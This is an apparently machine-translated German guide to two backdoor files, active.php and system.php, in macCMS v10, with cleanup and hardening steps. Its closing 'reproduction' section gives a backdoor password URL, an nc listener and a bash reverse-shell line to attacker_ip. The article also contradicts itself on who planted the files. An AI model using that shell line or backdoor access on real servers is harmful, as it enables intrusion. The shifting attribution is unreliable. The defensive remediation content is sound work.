Hervorragende Software und praktische Tutorials
maccmsDas Verzeichnis /application/extra enthält plötzlich zwei Dateien: active.php und system.php. Handelt es sich dabei um eine Sicherheitslücke? Wie kann ich das beheben? Wie werden diese beiden Dateien generiert?
Diese Dateien (im Verzeichnis /application/extra/) sind macCMS (Apple CMS) in Version 10Versteckte Backdoor-DateienDies ist eine häufige Backdoor-Schwachstelle in CMS. Sie kann dazu führen, dass Schadcode (wie UTF-8/Base64-Dekodierungsfunktionen und das Laden externer Skripte) in JavaScript-Dateien von Website-Vorlagen eingeschleust wird. Dies kann zu Trojanern (Werbung oder Schadskripteinschleusung), Datendiebstahl oder weiteren Angriffen führen. Diese Schwachstelle entsteht nicht zufällig, sondern wird absichtlich durch das CMS-Design oder die Update-Mechanismen eingeführt. Benutzer von Raubkopien oder veralteten Versionen sind dadurch überproportional betroffen.
Wie werden diese Dateien generiert?
- GenerierungsmechanismusDiese Dateien werden typischerweise automatisch bei der Installation oder Aktualisierung eines CMS eingeschleust, insbesondere nach der Einführung des Comics-Moduls in Version 10 (z. B. 2025.1000.4050). Beim Anmelden führt system.php eine komplexere Backdoor-Logik aus und gibt diese frei. active.php ist mit dem Aktivierungs-/Anmeldeverhalten verknüpft, wodurch Schadcode in alle JS-Dateien im Vorlagenverzeichnis eingeschleust wird. Mögliche Ursachen hierfür sind:
- Der Autor hat absichtlich eingefügt: Vom macCMS-Autor (magicblack) zur „Wartung“ oder Kontrolle im GitHub-Repository eingeführt, wird aber als Hintertür betrachtet.
- Sicherheitslücke bei automatischen Updates: Die automatische Updatefunktion von Raubkopien oder Pro/Com-Versionen lädt diese Dateien aus bösartigen Quellen herunter und umgeht dabei WAF und die Manipulationserkennung.
- Andere Eingänge: In Kombination mit der Remote Code Execution (CVE-2017-17733) oder der SQL-Injection-Schwachstelle von CMS können diese Dateien weiter generiert oder ausgeführt werden.
- Auslösebedingungen: Wird beim ersten Einloggen ins Backend oder bei der Aktivierung des Moduls ausgeführt. Die Dateigröße beträgt ca. 42 KB (active.php) und lädt externe Skripte dynamisch.
Problemumgehung
Führen Sie zur Bereinigung und Reparatur umgehend die folgenden Schritte aus (sichern Sie Ihre Website und Datenbank, bevor Sie fortfahren):
- Löschen oder Umbenennen der Backdoor-Datei:
- Gehen Sie zum Verzeichnis /application/extra/ und suchen Sie nach active.php und system.php.
- Benennen Sie sie um (z. B. active__.php, system__.php), ohne die Berechtigungen zu ändern. Dadurch wird die Backdoor-Logik sofort unterbrochen, ohne den normalen Betrieb des CMS zu beeinträchtigen.
- Bereinigen von eingeschleustem Schadcode:
- Überprüfen Sie alle .js-Dateien im Vorlagenverzeichnis (normalerweise /template/ oder /static/) und suchen Sie nach eingefügtem Code (wie Base64-Dekodierung oder externes src-Laden).
- Verwenden Sie zum Scannen Tools (wie z. B. grep): grep -r "base64\|utf-8\|freeob" /Pfad/zu/Vorlage/*.js.
- Löschen Sie eine saubere Version der Sicherung oder stellen Sie sie wieder her.
- Erweiterte Berechtigungen:
- Setzen Sie die Berechtigungen für die Datei template.js auf 555 (schreibgeschützt): chmod 555 /Pfad/zu/Template/*.js.
- Die Backend-PHP-Dateien bleiben 644/755, um die Konfiguration zu unterstützen.
- Aktivieren Sie den Server-Manipulationsschutz (z. B. „File Anti-tampering“ im Baota-Bedienfeld) und überwachen Sie Änderungen in /application/extra/.
- CMS aktualisieren und Schwachstellen beheben:
- Wechseln Sie zur offiziellen Open-Source-Version von GitHub (https://github.com/magicblack/maccms10), aktualisieren Sie auf die neueste stabile Version (vermeiden Sie Pro/Com-Versionen werden automatisch aktualisiert).
- Wenden Sie den offiziellen Patch an: Deaktivieren Sie automatische Updates und ändern Sie alle mit maccms.com verbundenen Links in der Player-Konfiguration in „leer“.
- Scannen Sie die gesamte Site: Verwenden Sie D-Shield, Hippo Cloud oder ClamAV, um nach Trojanern zu suchen (Befehl: clamscan -r /Pfad/zur/Site).
- Vorbeugende Maßnahmen:
- Aktualisieren Sie alle Komponenten (PHP, MySQL) und deaktivieren Sie nicht benötigte Module.
- Protokolle überwachen: Überprüfen Sie /application/logs/ oder das error.log des Servers und suchen Sie nach abnormalen Anmeldungen.
- Wenn Sie einen gemeinsam genutzten Host verwenden, prüfen Sie, ob Upstream-Schwachstellen bestehen. Es wird empfohlen, auf einen VPS zu migrieren und eine WAF (wie etwa ModSecurity) zu verwenden.
Testen Sie nach der Fehlerbehebung die Backend-Anmeldung und das Laden des Frontend-JS, um sicherzustellen, dass sie korrekt funktionieren. Sollte das Problem weiterhin bestehen, informieren Sie sich über das GitHub-Problem oder wenden Sie sich an einen professionellen Sicherheitsdienst. Die Aktualisierung Ihres CMS ist entscheidend, um ähnliche Backdoors zu verhindern.
Detaillierte Erklärung der Backdoor-Injektionsmethoden für macCMS active.php und system.php
warnenDie folgenden Inhalte dienen ausschließlich der Sicherheitsforschung, Aufklärung und Behebung von Sicherheitslücken. Das Einschleusen oder Ausnutzen von Backdoors ist illegal und kann rechtliche Konsequenzen oder eine Gefährdung des Servers nach sich ziehen. Bitte löschen Sie diese Dateien umgehend und wechseln Sie zur offiziellen Open-Source-Version von macCMS (magicblack/maccms10 auf GitHub). Sollte Ihre Website betroffen sein, empfehlen wir ein professionelles Sicherheitsaudit.
Aus Sicht der Sicherheitsanalyse sind active.php und system.php versteckte Backdoor-Dateien in macCMS v10, normalerweise durchHerunterladen infizierter Installationspakete von gefälschten offiziellen WebsitesInjektion. Diese Dateien im Verzeichnis /application/extra/ sind ca. 42 KB groß (active.php). Sie enthalten verschleierten PHP-Code mit ROT13-Kodierung, pack('H*')-Hexadezimal-Dekodierung und eval() zur Ausführung schädlicher Logik. Diese Dateien werden bei der Anmeldung oder Modulaktivierung ausgelöst und injizieren schädliches JavaScript in Vorlagendateien (.js), wodurch das Eindringen von Trojanern oder die Fernsteuerung ermöglicht wird.
Injektionserzeugungsmechanismus
Diese Dateien werden nicht dynamisch durch herkömmliche Schwachstellen wie SQL-Injection generiert, sondernStatisches ImplantatIm Installationspaket:
- Quelle: Benutzer laden das v10-Paket (z. B. maccms10.zip) von einer gefälschten „offiziellen Apple CMS-Website“ (wie der gefälschten Website maccms.com) herunter. Diese Dateien sind bereits im Paket vorinstalliert.
- Auslösevorgang:
- Entpacken Sie das Installationspaket auf den Server (/wwwroot/maccms/).
- Führen Sie das Installationsskript (install.php) und die Konfigurationsdateien (z. B. database.php) aus, um das zusätzliche Verzeichnis zu laden.
- Beim ersten Anmelden im Backend (admin.php) oder beim Aktivieren eines Moduls wird system.php ausgeführt und ruft active.php auf, um die Hintertür freizugeben.
- Warum generierenDer Autor (oder Hacker) nutzt die automatische Update-Funktion des CMS aus und lädt Dateien aus einer schädlichen Quelle herunter. Während des Updates werden Dateien überschrieben und injiziert. Dies ist bei Raubkopien üblich; die offizielle GitHub-Version weist dieses Problem nicht auf.
Spezifische Schritte zur Reproduktion (Bildungszwecke, lokale Umgebung erforderlich)
- Umweltkonstruktion:
- Laden Sie das mit einer Hintertür versehene V10-Paket herunter (simuliert aus dem Sicherheitsbericht, kein echter Download).
- Ubuntu + Apache/Nginx + PHP 7.4 + MySQL 5.7.
- Entpacken Sie es nach /var/www/html/maccms/ und legen Sie die Berechtigungen fest: chmod -R 755 .
- Manuelle Injektionssimulation(Bei ungiftiger Verpackung):
- Erstellen Sie /application/extra/active.php und system.php und kopieren Sie den verschleierten Code (siehe unten).
- Ändern Sie /application/database.php oder /application/route.php, um einen Backdoor-Block hinzuzufügen (z. B. anhängen ).
- Backstage-Anmeldetrigger: Zugriff http://localhost/maccms/admin.php, system.php Das Vorlagenverzeichnis wird gescannt und in JS eingefügt.
- Ausnutzung der Hintertür:
- Nachdem Sie sich im Backend angemeldet haben, besuchen Sie http://localhost/maccms/application/extra/system.php?pass=WorldFilledWithLove (MD5 Passwort 0d41c75e2ab34a3740834cdd7e066d90).
- Führen Sie den Befehl aus, um die Shell neu zu binden: nc -lvvp 777 zum Abhören, system.php sendet system('bash -i >& /dev/tcp/attacker_ip/777 0>&1');.